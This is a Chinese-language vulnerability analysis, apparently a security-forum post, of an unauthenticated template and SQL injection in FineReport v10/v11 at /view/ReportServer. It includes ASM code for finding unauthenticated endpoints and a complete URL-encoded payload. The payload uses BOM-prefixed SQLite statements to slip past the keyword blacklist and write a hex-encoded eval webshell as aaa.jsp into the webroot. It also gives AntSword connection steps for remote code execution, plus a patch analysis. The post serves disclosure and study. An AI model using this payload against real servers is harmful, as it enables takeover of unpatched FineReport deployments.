帆软 FineReport SQL 注入漏洞

通过分析帆软v10的路由特点,利用asm来获取所有可未授权访问的接口,最后快速定位到该漏洞具体位置

一、漏洞简介

帆软v10,v11存在/view/ReportServer接口存在模版注入漏洞,攻击者可以利用该漏洞执行任意SQL写入Webshell,从而获取服务器权限。

二、影响版本

该漏洞影响 FineReport 10.0、FineReport11.0、FineBI 的tomcat 部署包(7 月 23 日补丁版本之前的全部版本)

三、漏洞原理分析

帆软v10路由处理

从v10开始,web.xml中不在设置自定义filter,使用注解来处理路由,这里从DispatcherServlet.doDispatch方法来分析路由是如何处理的

image.png
从this.getHandler中根据请求的路径,参数等信息获取对应处理业务逻辑的handler

比如请求的路径是/webroot/decision/login对应的hanlder信息:

image.png

接着从this.getHandlerAdapter中获取对应handler的适配器,后续用来解析handler

mappedHandler.applyPreHandle是路由处理的关键

image.png

前五个拦截器负责处理请求的合法性,不对请求进行权限校验,从DecisionInterceptor开始校验权限,进入DecisionInterceptor.preHandle方法

image.png

EventDispatcher.fire方法为设置触发器

将handler转换为HandlerMethod后进入getRequestChecker

image.png

checkerList如下:

image.png

从这里开始迭代这个list,并且调用其acceptRequest方法,如果返回true则跳出循环

DecisionRequestChecker.acceptRequest如下:

image.png

这里获取handler的方法是否存在TemplateAuth这个注解,如果没有则返回true

ReportTemplateRequestChecker

image.png

处理TemplateAuth不为空的情况,并且TemplateAuth的product属性为TemplateProductType.FINE_REPORT,否则返回false

其余的类和以上的情况差不多

返回到DecisionInterceptor

因为这里对应的handler是LoginResource.page没有TemplateAuth注解,所以返回DecisionRequestChecker

image.png

image.png

进入DecisionRequestChecker.checkRequest

image.png

进入getLoginStatusValidator,这里开始判断这个请求对应的方法是否需要被进行检查

image.png

这里就比较清楚了,如果类和方法被LoginStatusChecker修饰,并且required为false即不需要被鉴权

所以接下来就来寻找不需要被鉴权即可访问的类和方法,在idea里面,jar包中不支持反向查找,所以这里用asm来实现.class文件的解析

利用asm快速获取可未授权访问的接口

编写简单的asm代码

public class AllClassVisitor extends ClassVisitor {  
    private byte\[\] classData;  
    private boolean isControllerClass \= false;  
    private boolean isRequestMappingClass \= false;  
    private boolean isRestController \= false;  
    private String className;  
    private boolean classNeedAuth \= true;  
    private boolean methodNeedAuth \= true;  
    public AllClassVisitor(byte\[\] data) {  
        super(Opcodes.ASM6);  
        classData \= data;  
    }  
    @Override  
    public void visit(int version, int access, String name, String signature, String superName, String\[\] interfaces) {  
        super.visit(version, access, name, signature, superName, interfaces);  
        className \= name;  
    }  
    @Override  
    public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) {  
        if (descriptor.equals(Annotation.controller)) {  
            isControllerClass \= true;  
        } else if (descriptor.equals(Annotation.requestMapping)) {  
            isRequestMappingClass \= true;  
        } else if (descriptor.equals(Annotation.restController)) {  
            isRestController \= true;  
        } else if (descriptor.equals(Annotation.loginStatusChecker)) {  
            return new AnnotationVisitor(Opcodes.ASM6) {  
                @Override  
                public void visit(String name, Object value) {  
                    if (name.equals("required") && value instanceof Boolean && value.toString() \== "false") {  
                        classNeedAuth \= false;  
                    }  
                    super.visit(name, value);  
                }  
            };  
        }  
        return super.visitAnnotation(descriptor, visible);  
    }  
    @Override  
    public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String\[\] exceptions) {  
​  
        return new AllMethodAdapter(className, name);  
    }  
    @Override  
    public void visitEnd() {  
        if (isControllerClass || isRequestMappingClass || isRestController) {  
            if (!classNeedAuth || !methodNeedAuth) {  
                String fileName \= "your save path" + className.substring(className.lastIndexOf("/") + 1) + ".class";  
                File file \= new File(fileName);  
                try {  
                    FileUtils.writeByteArrayToFile(file, classData);  
                } catch (IOException e) {  
                    throw new RuntimeException(e);  
                }  
            } else {  
                String fileName \= "your save path" + className.substring(className.lastIndexOf("/") + 1) + ".class";  
                File file \= new File(fileName);  
                try {  
                    FileUtils.writeByteArrayToFile(file, classData);  
                } catch (IOException e) {  
                    throw new RuntimeException(e);  
                }  
            }  
        }  
    }  
    public class AllMethodAdapter extends MethodVisitor {  
        private String methodName;  
        public AllMethodAdapter(String name, String method) {  
            super(Opcodes.ASM6);  
            className \= name;  
            methodName \= method;  
        }  
        @Override  
        public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) {  
            if (descriptor.equals(Annotation.loginStatusChecker)) {  
                return new AnnotationVisitor(Opcodes.ASM6) {  
                    @Override  
                    public void visit(String name, Object value) {  
                        if (name.equals("required") && value instanceof Boolean && value.toString() \== "false") {  
                            methodNeedAuth \= false;  
                        }  
                        super.visit(name, value);  
                    }  
                };  
            } else if (descriptor.equals(Annotation.templateAuth)) {  
                return new AnnotationVisitor(Opcodes.ASM6) {  
                    @Override  
                    public void visitEnum(String name, String descriptor, String value) {  
                        if (name.equals("product") && descriptor.equals("Lcom/fr/decision/webservice/bean/template/TemplateProductType;") && value.equals("FINE\_REPORT")) {  
                            methodNeedAuth \= false;  
                        }  
                        super.visitEnum(name, descriptor, value);  
                    }  
                };  
            }  
            return super.visitAnnotation(descriptor, visible);  
        }  
    }  
}

分析所有帆软v10的jar包,得到下面的文件列表,包含了所有可不经过鉴权即可访问的方法和类

image.png

那么ReportRequestCompatibleService就是对应/view/ReportServer的漏洞点了

如果需要对帆软的业务代码进行调试,需要对其业务代码重新编译恢复class文件中的行号信息,然后替换到原来的jar包中,重启服务即可

分析/view/ReportServer接口的ssti

发送payload

test=s&n=${__f_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B%27),1,1)}

打下断点,开始调试

image.png

进入render方法,继续跟进

image.png

这里的com.fr.script.Calculator方法,文档的解释是用来处理公式的运算

image.png

进入renderTpl

image.png

继续跟进renderTpl

image.png

这里对${...}这样格式的数据进行正则校验

这里的第一个${fineServletURL},通过服务器的全局数据获取到context数据,从第二个${}开始

进入TemplateUtils

image.png

一直跟进到Calculator.evalString方法

image.png

这里通过parse把参数和值解析成三部分,继续跟进eval,对这三部分进行解析处理

image.png

image.png

这里在处理第三部分,也就是对应的sql语句的时候,会有一个额外的处理

image.png

解析是否存在这个sql的方法

image.png

也就是说如果没有找到sql的类,会拼接com.fr.function.sql这样,再去反射获取obj,那么 后续其实就在调用obj的run方法了

image.png

image.png

但是在执行sql之前,需要被另外一个线程检查

image.png

InsecurityElement如下:

image.png

image.png

所以这里需要先去除字符串和字符内容,再去除特殊字符,然后返回sql的执行关键语句,最后判断这个关键字是否在黑名单里面

然后在回来看payload里面的sql语句

%EF%BB%BFATTACH DATABASE '../webapps/webroot/aaa.jsp' as gggggg; 创建数据库文件落地  
%EF%BB%BFCREATE TABLE gggggg.exp2(data text);   创建表  
%EF%BB%BFINSERT INTO gggggg.exp2(data) VALUES 插入数据(x'247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d');

语句的每一个开头都有一个%EF%BB%BF

image.png

这里sqlite的文档显示如果开头字符存在U+FEFF则移除,正好可以绕过帆软的关键字检测

最后完成aaa.jsp的写入,其实这就是个sqlite的数据库文件...

最后访问即可rce

但是这里的环境有问题,帆软里面大部分jar包,以及tomcat的jsp依赖,都被帆软官方改过,在win下貌似有问题

漏洞补丁分析

后续的补丁在ReportRequestCompatibleService.preview做了修改:
image.png
用户的数据不在被render方法解析,这个未授权的接口也无效了
然后在JDBCSecurityChecker$InsecuritySQLKeyword.probed方法中也做了对应的修改:

image.png

可以看见不在做简单的匹配了,直接用正则来匹配黑名单关键字,sqlite的特性在这里也被修复了

四、环境搭建

下载帆软v10的历史版本

https://www.finereport.com/product/download

开启调试端口,修改/bin/designer.bat,添加如下代码

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=localhost:5005

启动designer.bat

image.png

image.png

这里的试用可以申请,比较方便

五、漏洞复现

最后在网站根目录下有aaa.jsp
使用蚁剑链接url:http://192.168.0.107:8075/webroot/aaa.jsp?a=javax.script.ScriptEngineManager
密码为b

image.png

六、总结

在分析帆软v10的路由情况时,发现大部分未授权的接口都使用了对应的注解,这个时候可以利用asm来快速获取不需要鉴权的接口,从0day视角分析此漏洞

/view/ReportServer漏洞主要利用了ssti和sqlite数据库的特性,通过对应的sql方法完成数据库(即shell文件)的落地,以及对此sql文件的数据操作完成恶意数据的写入,最后实现rce

参考

https://android.googlesource.com/platform//external/sqlite/+/d11514d85b96ef33b1a78080246df7df2cf5d9ea/dist/orig/sqlite3.h

https://y4tacker.github.io/2024/07/23/year/2024/7/%E6%9F%90%E8%BD%AFReport%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E5%88%A9%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%86%E8%8A%82/

  • 发表于 2024-08-19 10:08:47
  • 阅读 ( 6471 )
  • 分类:OA产品

0 条评论

请先 登录 后评论
yrf2314
yrf2314

3 篇文章

站长统计